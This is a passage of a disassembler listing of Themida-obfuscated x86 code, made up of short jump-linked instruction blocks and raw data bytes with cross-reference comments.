		dd 8758C501h, 8F5C242Ch, 845C2404h, 74E99CC8h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56154F:				; CODE XREF: Themida_:0055D999j
		add	dword ptr [esp], 5D8821BCh
		mov	eax, [esp]
		jmp	loc_55499C
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 25F5E924h, 815BFFFFh, 4C3h, 4C38100h, 87000000h, 875C241Ch
		dd 665C2404h, 9C2424D3h, 0FF173EE9h, 24348BFFh,	81E38953h
		dd 4C3h, 0E7E95200h, 83FFFF1Bh,	34FF04C4h, 242C8B24h, 4C481h
		dd 0C4810000h, 4, 4C581h, 0BF570000h, 2, 32B3ED81h, 0FD0121D3h
		dd 0F99EE956h, 514AFFFFh, 841572B9h, 0FDE9411Dh, 1FFFF55h
		dd 773F2DF0h, 348B3071h, 4C48124h, 1000000h, 5FEBE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5615EA:				; CODE XREF: Themida_:00561231j
		mov	[esp], esi
		jmp	loc_5571A6
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 75E9C821h,	81FFFF2Ch, 0CE5348F3h, 0D3F74349h
		dd 8106EBC1h, 552AF2EBh, 5A1A2D03h, 0A4E90E6Ch,	16h, 505166F8h
		dd 0C0FE13B0h, 0FF3FE4E9h, 0EB8058FFh, 148B66D1h, 0A999E924h
		dd 0E389FFFFh, 363AB850h, 0BB530892h, 2861B02h,	3D00B951h
		dd 0C9813B6Fh, 43A50971h, 5DC7E181h, 0F181146Ah, 42DEE238h
		dd 959CB01h, 6720E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561666:				; CODE XREF: Themida_:005635B3j
		push	ebx
		mov	ebx, 3D034C66h
		jmp	loc_55FCAC
; ---------------------------------------------------------------------------
		db 5Ah,	0F6h, 0D3h
		dd 0EF5E9h, 4685000h, 58000000h, 6015EB81h, 22E9476Bh
		dd 0B8FFFF5Ah, 44776C31h, 0FFF934E9h, 243C89FFh, 0FF6E17E9h
		dd 0FFC783FFh, 5AE9DF87h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616A7:				; CODE XREF: Themida_:005630FEj
		push	edx
		jmp	loc_55414F
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F3290000h, 0FFE723E9h, 8AEB81FFh, 0E907C44Bh, 0FFFF76C1h
; ---------------------------------------------------------------------------


loc_5616C4:				; CODE XREF: Themida_:0055AAB3j
		mov	ebx, 29024088h
		shr	ebx, 7
		shl	ebx, 4
		jmp	loc_55F0BC
; ---------------------------------------------------------------------------
		dd 3E6C146h, 0FDE2EE81h, 80BBB670h, 31662A31h, 0A9BAE9F3h
		dd 34FFFFFFh, 0C4835824h, 53BA5204h, 1079E08h, 24148BD0h
		dd 0FF1A12E9h, 21E959FFh, 5CFFFFB9h, 47C068h, 243C8900h
		dd 0E8B85055h, 0E917EE4Bh, 0FFFFECB3h, 7934AF34h, 0FDE9B12Ch
		dd 87000045h, 5BE9243Ch, 58FFFF7Bh, 0E9241487h,	0FFFF17E4h
; ---------------------------------------------------------------------------


loc_561738:				; CODE XREF: Themida_:0055E891j
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	5C9Fh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_555E08
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 5B1415C1h, 0E181D9F7h, 19B378C9h, 7306C981h,	0E9C11A0Dh
		dd 3EF18104h, 140D7C0h,	48B59CEh, 4C48124h, 50000000h
		dd 2B8h, 8BC60100h, 0BAE92404h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56179F:				; CODE XREF: Themida_:0056520Bj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55C8D0
; ---------------------------------------------------------------------------
		dd 0BE56E389h, 7544444Ah, 0FF53F5E9h, 35FABFFFh, 0C14F7328h
		dd 0DFF707E7h, 47D7F747h, 6C8FE955h, 0E956FFFFh, 0FFFFFED5h
		dd 0C4DE981h, 65E97288h, 8100001Bh, 307337E2h, 0E9DAF70Fh
		dd 3B72h
; ---------------------------------------------------------------------------


loc_5617F0:				; CODE XREF: Themida_:00565A2Ej
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		not	esi
		xchg	esi, ebp
		xchg	ebp, [esp]
		pop	eax
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		push	ebp
		mov	ebp, 50640CA0h
		mov	esi, 0B7DA356Ch
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 12232D26h
		push	ecx
		jmp	loc_5622E1
; ---------------------------------------------------------------------------
		dd 68CAE181h, 0C1810F7Bh, 4FFD1408h, 0FF2DFDE9h
		db 0FFh
byte_561841	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552C14o
		dd 83240C8Bh, 1A6804C4h, 8900000Ch, 0DFE9241Ch
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561857:				; CODE XREF: Themida_:0055B920j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shl	ebx, 3
		add	ebx, 0ACBED3B8h
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 57FA1F77h
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		jmp	loc_55DF8B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 5E18E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56189E:				; CODE XREF: Themida_:00553E64j
		add	ebx, 5DE24154h
		jmp	loc_561A34
; ---------------------------------------------------------------------------
		db 0E9h, 15h, 14h
		dd 0CD81FFFFh, 6C075EDh, 0FFDA14E9h, 48F58FFh, 34FF5C24h
		dd 89525824h, 4C281E2h,	83000000h, 0E904ECh, 50FFFFBCh
		dd 582414F7h, 0E905E0C1h, 0FFFF17D9h
; ---------------------------------------------------------------------------


loc_5618E0:				; CODE XREF: Themida_:005677C4j
		mov	ebx, ebp
		jmp	loc_566F23
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 0E924048Fh, 0FFFF1978h, 8B243487h, 0EC812424h
		dd 4, 83240489h, 48904ECh, 1700B824h, 44291FF7h, 34FF0424h
		dd 5E5CE924h, 0E089FFFFh, 57A5E9h, 0D5E94E00h, 4FFFF35h
		dd 0E987E9CFh, 2C89FFFFh, 4BD24h, 14050000h, 1200312h
		dd 12142DE8h, 82E92003h, 53FFFFCEh, 4BBh, 5BDE0100h, 0FF91E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561956:				; CODE XREF: Themida_:00561306j
		neg	eax
		jmp	loc_55C36F
; ---------------------------------------------------------------------------


loc_56195D:				; CODE XREF: Themida_:00559D57j
		push	0
		sub	[esp], eax
		pop	eax
		inc	eax
		push	ebx
		mov	ebx, 2F431CAEh
		jmp	loc_566002
; ---------------------------------------------------------------------------


loc_561972:				; CODE XREF: Themida_:00556F69j
		push	5050h
		mov	[esp], ecx
		jmp	loc_556264
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BA241489h, 33E38E0h, 815AD389h, 0C1C722C3h,	31E2E9FCh
		dd 0C4810000h, 4, 0E50EE953h, 0C483FFFFh, 242C8704h, 48F545Ch
		dd 4BF5724h, 56000000h,	673AD0BEh, 2474293Ch, 7C015E08h
		dd 44810424h, 3AD00424h, 0C6E93C67h, 5C000017h,	0FF220BE9h
		dd 0E97804FFh, 97Bh, 42474FFh, 24048F59h, 9DC5815Ch, 8130F554h
		dd 4ECh, 242C8900h, 1AAFE95Bh, 401FFFFh, 0EAE99C24h, 0BEFFFFD5h
		dd 238644BAh, 8105E6C1h, 95661EEh, 5EF00108h, 4BE565Fh
		dd 2D000000h, 101A2A99h, 0DFE9F001h, 89FFFFDFh,	0DE2958C3h
		dd 0E9EE015Bh, 0FFFFF794h
; ---------------------------------------------------------------------------


loc_561A34:				; CODE XREF: Themida_:005618A4j
		sub	ebx, eax
		sub	esp, 4
		jmp	loc_564FB1
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF45E3E9h, 61FF68FFh, 1C890000h,	94B55124h, 0E5E9CDFEh
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561A5B:				; CODE XREF: Themida_:005639D0j
		xor	eax, 63C813E4h
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 42434BAAh
		jmp	loc_5665ED
; ---------------------------------------------------------------------------
byte_561A71	db 83h,	0ECh, 4		; DATA XREF: Themida_:00552AE4o
		dd 0BA241489h, 38h, 183F68h, 241C8900h,	0BE0BB9BBh, 56DBF729h
		dd 0F16C268h, 0D5E95E21h, 81FFFF78h, 0D5621FF3h, 53E94317h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561AA3:				; CODE XREF: Themida_:0056535Dj
		mov	edi, 401847D9h
		jmp	loc_56509B
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 17D7h, 0E9241431h, 0FFFFADCFh
; ---------------------------------------------------------------------------


loc_561AC0:				; CODE XREF: Themida_:00562AA6j
		mov	ecx, 1A3176E5h
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_55FC84
; ---------------------------------------------------------------------------


loc_561AD4:				; CODE XREF: Themida_:00567845j
		pop	ebx
		popa
		jmp	loc_55B5BD
; ---------------------------------------------------------------------------


loc_561ADB:				; CODE XREF: Themida_:0055E618j
		pop	ebx
		add	ebx, 4
		jmp	loc_556047
; ---------------------------------------------------------------------------
		db 28h
		dd 3CC2E9D4h, 0C149FFFFh, 0C98104E1h, 67223791h, 1998E181h
		dd 0C181335Eh, 0CCBDEE74h, 36E9CA89h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B0B:				; CODE XREF: Themida_:0055CD81j
		pop	eax
		push	edi
		mov	edi, 75524B8Bh
		push	ecx
		mov	ecx, 2A0354F4h
		and	ecx, 91A733Bh
		sub	ecx, 0B189D581h
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55AC94
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0E2E3E969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B36:				; CODE XREF: Themida_:0056720Cj
		sub	ebx, eax
		pop	eax
		push	edx
		mov	edx, 369736EAh
		sub	ebx, edx
		pop	edx
		sub	ebx, 1C2669DBh
		sub	ebx, 318E6D7Eh
		add	ebx, edi
		add	ebx, 318E6D7Eh
		jmp	loc_55E947
; ---------------------------------------------------------------------------
		db 89h
		dd 9E9242Ch, 81FFFFBFh,	0E4785BEAh, 5FC28109h, 810AB034h
		dd 6717ECEAh, 0E9C2012Ah, 0FFFF29B7h
; ---------------------------------------------------------------------------


loc_561B7C:				; CODE XREF: Themida_:00564D88j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55FA6B
; ---------------------------------------------------------------------------
		dw 335Ch
		dd 4312404h, 24043324h,	4D3665Ch, 3EE99C24h, 8900001Fh
		dd 4C681E6h, 83000000h,	83E904C6h, 31000047h, 0DA86E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BB2:				; CODE XREF: Themida_:00553F48j
		add	eax, 769B5119h
		add	eax, edx
		jmp	loc_563972
; ---------------------------------------------------------------------------


loc_561BBE:				; CODE XREF: Themida_:0055393Ej
		pop	edx
		jmp	loc_560370
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4B850h, 0C3010000h, 4EC8358h,	0FF241C89h
		dd 5B042474h, 0FF1B81E9h, 0E9FD01FFh, 0FFFF6054h, 8B2434FFh
		dd 0A9E92434h, 5CFFFF46h, 240C8B66h, 3F39E955h,	148BFFFFh
		dd 4C48324h, 5704C483h,	2B7285BFh, 47FDE941h, 0D3010000h
		dd 6B56EB81h, 95A30ABh,	68535BD9h, 48446800h, 6A07E95Bh
		dd 88BFFFFFh, 81486B0Dh, 6B0D8CF7h, 5FFA0148h, 46E95756h
		dd 54FFFF6Ch, 0FF7622E9h, 4EC83FFh, 0BB241C89h,	4, 0DC13D605h
		dd 56D8015Eh, 122880BEh, 0F7564631h, 0C15E2414h, 0D6F707EEh
		dd 6690EE81h, 0C68135A4h, 961E5615h, 0FC2AD605h, 2DF0297Eh
		dd 7EFC2AD6h, 0E924348Bh, 0FFFFCA47h
; ---------------------------------------------------------------------------


loc_561C8C:				; CODE XREF: Themida_:00563343j
		pop	ecx
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_565751
; ---------------------------------------------------------------------------


loc_561C98:				; CODE XREF: Themida_:00562D69j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_552FAB
; ---------------------------------------------------------------------------
		dd 3EF0F781h, 0FE0135F6h, 29C6815Fh, 17B2B61h, 6B21E9C6h
		dd 0C181FFFFh, 0C9617DECh, 0E959C809h, 0FFFFBD3Eh, 0E9241C8Bh
		dd 0FFFF1D24h, 59CB295Bh, 81FFC383h, 0C5352DCBh, 3793E907h
		dd 0C1810000h, 0E43EB823h, 8159CB89h, 1C7A08EFh, 68DF0149h
		dd 72BAh, 0E9243489h, 0FFFF316Eh, 3824248Bh, 0B8E99CC1h
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D0B:				; CODE XREF: Themida_:0056779Aj
		add	dword ptr [esp], 24A66197h
		pop	esi
		push	edi
		push	esi
		mov	esi, 7D804956h
		xor	esi, 2C43179Eh
		shl	esi, 6
		sub	esi, 5C5698D8h
		mov	edi, esi
		pop	esi
		shl	edi, 6
		and	edi, 205078E7h
		jmp	loc_553E0D
; ---------------------------------------------------------------------------
		dw 0DF87h
		dd 7113BD55h, 0EF017ED8h, 0FFEDBBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D49:				; CODE XREF: Themida_:005602D8j
		pop	esi
		sub	eax, ebp
		pop	ebp
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_566CD0
; ---------------------------------------------------------------------------
byte_561D57	db 66h			; DATA XREF: Themida_:00552A98o
		dd 5124048Bh, 0E9555954h, 0FFFF88F7h
; ---------------------------------------------------------------------------


loc_561D64:				; CODE XREF: Themida_:0055BEC1j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560ECD
; ---------------------------------------------------------------------------
word_561D76	dw 8B66h		; DATA XREF: Themida_:00552BDCo
		dd 54532404h, 0E9241C8Bh, 0FFFFA76Eh, 57241489h, 3CBFh
		dd 34FF5700h, 0EFE95A24h, 81FFFF89h, 2C4h, 5AD48800h, 80E7EC80h
		dd 0E3003DC3h, 0FF4BF8E9h, 2414F7FFh, 0B9A5E95Ah, 0C188FFFFh
		dd 34FF5B58h, 24048B24h, 8304C483h, 4C8804C4h, 34FF0187h
		dd 240C8B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 579D41BDh
		jmp	loc_56518F
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0E9525C24h, 0FFFFACEBh, 0C781E789h, 4, 0E904C783h, 0FFFF7B1Ah
; ---------------------------------------------------------------------------


loc_561DF8:				; CODE XREF: Themida_:005575D0j
		mov	[esp], ebx
		push	79D5h
		mov	[esp], esi
		push	718F3D92h
		jmp	loc_555BEF
; ---------------------------------------------------------------------------


loc_561E0D:				; CODE XREF: Themida_:0055A72Fj
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	4000h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55D1E4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C24048Fh, 33243431h, 34312434h, 0E7DE924h, 0C147FFFFh
		dd 0B85008EFh, 1E318BF0h, 58A0E9h, 0E2C78100h, 0F7334D74h
		dd 8083E9D7h, 0F801FFFFh, 5F2434FFh, 81E78957h,	4C7h, 4BA5200h
		dd 1000000h, 3C875AD7h,	24248B24h, 8904EC83h, 0DCE92434h
		dd 83000044h, 0C48104C4h, 4, 840FC009h,	2434h, 4EC81h
		dd 1C890000h, 58545024h, 0FFFD9CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561EAD:				; CODE XREF: Themida_:00560038j
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 0DB542D0Ch
		push	esi
		push	ebx
		mov	ebx, ecx
		jmp	loc_553243
; ---------------------------------------------------------------------------
		dd 8904EC83h, 9CB82404h, 89648C77h, 0D98AE9C3h,	48BFFFFh
		dd 4C48124h, 0E9000000h, 0FFFF570Dh, 0F8005E2Ch, 0FF844BE9h
		dd 0F5295DFFh, 242C875Eh, 240C895Ch, 9244CCB9h,	1C1836Ch
		dd 2837BB53h, 0DBF75D4Eh, 6D00C381h, 0D929C9E0h, 22F1E95Bh
		dd 0F3010000h, 8324348Bh, 0B95104C4h, 128E6A0Fh, 0FF70DFE9h
		dd 0E95859FFh, 3CD3h, 89D68956h, 3140E9F1h, 1705FFFFh
		dd 29D139F5h, 0D90158C1h, 1446C181h, 0E98109F3h, 572E4F6Dh
		dd 0FFCBCBE9h, 240489FFh, 0FFE655E9h, 6EE181FFh, 0C120FE70h
		dd 0F18108E1h, 0C0504004h, 0D97C781h, 0CF011B6Fh, 0FFB0D6E9h
		dd 81F129FFh, 915A3E9h,	0C875E38h, 24248B24h, 54240489h
		dd 8324048Bh, 0BC6804C4h, 89000073h, 3768240Ch,	0E9408F6Ch
		dd 457Ch, 4EC81h, 0C890000h, 28C1B924h,	0C5B84F53h, 314F5328h
		dd 0EE8159C8h, 417D378Eh, 0A3E9C601h, 29FFFFF7h, 8B04244Ch
		dd 0C481240Ch, 4, 3F2D0558h, 2C8B620Fh,	4C48324h, 7F7468h
		dd 241C8900h, 6B4689BBh, 5EBC111h, 0EB81DBF7h, 0C0543E09h
		dd 0FF2C9BE9h, 4C781FFh, 81000000h, 4EFh, 243C3300h, 33243C31h
		dd 895C243Ch, 4812424h,	424h, 2434FF00h, 4C4835Ah, 4EC81h
		dd 97E90000h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56202B:				; CODE XREF: Themida_:00558628j
		pop	ebx
		push	ecx
		mov	ecx, 5C346ED8h
		add	ecx, 0ADA2F25Bh
		xor	ebx, ecx
		jmp	loc_558DC1
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2E981h, 7FE90000h, 87FFFF48h, 0D35C240Ch, 6CE92424h
		dd 87FFFF0Ch, 0BEE9240Ch, 81FFFFC5h, 4C6h, 4C68100h, 87000000h
		dd 0E92434h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562073:				; CODE XREF: Themida_:005586A1j
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		push	4
		jmp	loc_554E02
; ---------------------------------------------------------------------------
		dw 0E5D1h
		dd 0FF5DB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56208D:				; CODE XREF: Themida_:00562E21j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1E051F49h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563752
; ---------------------------------------------------------------------------


loc_5620A3:				; CODE XREF: Themida_:00557BD4j
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560796
; ---------------------------------------------------------------------------


loc_5620B5:				; CODE XREF: Themida_:0056399Bj
		mov	ebx, 1264667Fh
		mov	edi, 0F4439FFEh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55CEE6
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 4BD555Ch, 1000000h, 64E95DE9h, 5CFFFFFFh, 48DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5620ED:				; CODE XREF: Themida_:0055659Aj
		pop	esp
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_56357B
; ---------------------------------------------------------------------------


loc_5620FB:				; CODE XREF: Themida_:00557403j
		push	eax
		mov	eax, esp
		push	55B4h
		mov	[esp], edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		jmp	loc_559B34
; ---------------------------------------------------------------------------
		db 66h
		dd 447CC381h, 66C32966h, 447CEB81h, 0B70F5866h,	51C2E9C0h
		dd 5150FFFFh, 4B9h, 0E9C88900h,	0FFFF0D70h, 0E9243C31h
		dd 0FFFF8015h, 5368EF04h, 89000076h, 45E92414h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56214F:				; CODE XREF: Themida_:00565D6Bj
		mov	edx, esp
		push	ebp
		jmp	loc_563C28
; ---------------------------------------------------------------------------
		db 83h
		dd 0C28002C4h, 5AD02839h, 8668525Ah, 89000076h,	0F4B1240Ch
		dd 0C8BCE88h, 4C48324h,	6DF5E950h, 0DFF7FFFFh, 4C3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_562181:				; CODE XREF: Themida_:00553FFFj
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55B9C4
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904C383h, 0FFFF9EAAh, 4B30F66h,	0F0E99C24h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621A7:				; CODE XREF: Themida_:00556E1Bj
		mov	ecx, 78A703B3h
		push	edx
		mov	edx, 32357594h
		shr	edx, 7
		jmp	loc_5555DA
; ---------------------------------------------------------------------------
aSh		db 'Shф-',0
		align 10h
		dd 55242489h, 4BDh, 246C0100h, 815B5D04h, 4C3h,	0BB535600h
		dd 980DAFh, 980DB1BEh, 3B87E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621E6:				; CODE XREF: Themida_:00563669j
		pop	esp
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_55C3F1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 3767E95Eh, 6842FFFFh, 0E50h,	0B8240489h, 0AC4616h, 4736E9h
		dd 8F665C00h, 0AADE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562216:				; CODE XREF: Themida_:0055AACCj
		push	52C3h
		mov	[esp], edi
		push	esi
		jmp	loc_555EA4
; ---------------------------------------------------------------------------
		dd 4733C0B9h, 97F18138h, 290CD465h, 0F70559C8h,	5353B42Dh
		dd 0FF1E9DE9h, 5AD731FFh, 34FFFA01h, 0BC685F24h, 8900000Ah
		dd 0E2892414h, 0FF5BA3E9h, 4C581FFh, 68000000h,	5127h
		dd 0BF243C89h, 6FD91AA7h, 69F6EF81h, 4DE94213h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562273:				; CODE XREF: Themida_:005556B9j
		mov	ebx, [esp]
		jmp	loc_558F4F
; ---------------------------------------------------------------------------
		db 0F6h
aA_2		db 'р─Йф',0
		db 0D3h, 5Ah, 88h
		dd 241C8BDDh, 4C481h, 0B7530000h, 8BF828CFh, 5BE9241Ch
		dd 9FFFF3Eh, 7F77E9F7h,	815DFFFFh, 4C4h, 0EFC1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622AE:				; CODE XREF: Themida_:0055C7A7j
		not	esi
		push	edx
		jmp	loc_562987
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+13C20h
		dw 8900h
		dd 0E189240Ch, 4018E9h
		db 0
; ---------------------------------------------------------------------------


loc_5622C5:				; CODE XREF: Themida_:005572B7j
		push	edi
		mov	edi, 25772C1Ah
		jmp	loc_55C7A4
; ---------------------------------------------------------------------------
		dd 97CDE959h, 0BF57FFFFh, 4, 0FF5044E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5622E1:				; CODE XREF: Themida_:0056182Bj
		mov	ecx, 59092326h
		and	ecx, 18AA754Ch
		neg	ecx
		and	ecx, 67201A7h
		xor	ecx, 6B01548Bh
		jmp	loc_55A184
; ---------------------------------------------------------------------------


loc_5622FF:				; CODE XREF: Themida_:0055511Bj
		push	1552h
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 14224997h
		xor	ecx, 3F255D22h
		push	esi
		mov	esi, 79110AA7h
		shl	esi, 5
		add	esi, 1578F0C1h
		sub	ecx, esi
		jmp	loc_55BDB4
; ---------------------------------------------------------------------------
		db 55h
		dd 42474FFh, 24048F5Dh,	0E389535Ch, 4C381h, 0EB810000h
		dd 4, 0E9241C87h, 0FFFF4438h, 479ABA52h, 47E94FB9h, 68FFFF6Ch
		dd 6712h, 0B6241489h, 0F4F680BDh, 33B35366h, 5B66DE20h
		dd 0FF8E4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562371:				; CODE XREF: Themida_:0056499Bj
		mov	[esp], ebx
		push	16EDh
		mov	[esp], edx
		mov	edx, 67347D11h
		jmp	loc_55EB9F
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 80E10008h, 5808C1h, 240C8BC8h, 6604C483h, 6CCC685Bh
		dd 14890000h, 6D686824h, 0C890000h, 0EDB05024h,	0D504FC34h
		dd 3E68E0D0h, 8900004Bh, 77E9240Ch, 55FFFF9Eh, 522814BDh
		dd 55ED8104h, 1AA06D5h,	0E7815DEFh, 741940C3h, 8106E7C1h
		dd 0FDF967EFh, 0E9FA2998h, 0FFFF15B6h, 0BB241C89h, 679210C5h
		dd 3D8DE953h, 0FF5EFFFFh, 815B2434h, 4C4h, 243C8700h, 0E924248Bh
		dd 0FFFFBE8Ch, 0EF7AE95Ah, 0E95CFFFFh, 13E1h, 0BE243489h
		dd 3B6481B4h, 62B1EF81h, 0BE563164h, 6BD91726h,	295EF701h
		dd 26EF81F7h, 816BD917h, 6462B1C7h, 923AE931h, 8956FFFFh
		dd 0FC19E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562446:				; CODE XREF: Themida_:0056107Bj
		pop	ebx
		jmp	loc_55C0C3
; ---------------------------------------------------------------------------


loc_56244C:				; CODE XREF: Themida_:0055A822j
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554844
; ---------------------------------------------------------------------------
word_56245E	dw 34FFh		; DATA XREF: Themida_:00552C3Co
		dd 240C8B24h, 273568h, 0F86E900h, 4BBFFFFh, 89000000h
		dd 25F2E9D8h, 4BEFFFFh,	29000000h, 1C335EF3h, 0BECAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56248A:				; CODE XREF: Themida_:00563ACDj
		pop	ebp
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56093B
; ---------------------------------------------------------------------------


loc_5624AD:				; CODE XREF: Themida_:005599A0j
		and	ch, 1Ch
		jmp	loc_55E166
; ---------------------------------------------------------------------------
		db 59h,	31h, 0C3h
		dd 1CC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5624BD:				; CODE XREF: Themida_:00559D38j
		add	bl, 68h
		pop	ecx
		add	bl, al
		jmp	loc_56296B
; ---------------------------------------------------------------------------
		dd 2BA52h, 0D3010000h, 0FFD322E9h, 4C481FFh, 0B2000000h
		dd 0CC2E997h, 0E9570000h, 4333h, 5C685355h, 8900005Dh
		dd 0BB532404h, 77AD619Bh, 567272B8h, 47EFE918h,	0BD550000h
		dd 202B7E19h, 7893C581h, 0F745204Ah, 0D1C581DDh, 2956053Eh
		dd 0D8295DE8h, 0EC835756h, 242C8904h, 0FF590668h, 242C8B10h
		dd 0BF04C483h, 700F506Ah, 25E9EF31h, 5DFFFF57h,	78E9515Bh
		dd 2D00001Ch, 1C126B4Bh, 4027D435h, 25C681E6h, 0E9208938h
		dd 4FFAh, 0F9E9D501h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56255F:				; CODE XREF: Themida_:0055F34Fj
		not	edx
		add	edx, 0DFE9F103h
		xor	eax, edx
		jmp	loc_5538A3
; ---------------------------------------------------------------------------
		dw 0DC88h
		dd 0FF790EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562575:				; CODE XREF: Themida_:00560EB4j
		add	ah, 0
		add	bl, ah
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0E9h, 0B0h
		dd 8300001Fh, 81E904C4h, 89FFFF12h, 0E789243Ch,	0FF5147E9h
		dd 0E9E389FFh, 0FFFFE96Ch, 3C03A0B8h, 2DD8F72Fh, 63D53385h
		dd 0B7477B0Dh, 2E0C15Ah, 507E8C1h, 3F1B41A9h, 0B132C725h
		dd 29BF573Ah, 816BDE20h, 0D20C25EFh, 81E7D122h,	4D50E4C7h
		dd 5FF821CEh, 1D1D8435h, 8BC6013Ch, 0C4812404h,	4, 0BA52C629h
		dd 1DCD245Bh, 8745EA87h, 0C6F281EAh, 0E904DE57h, 0F57h
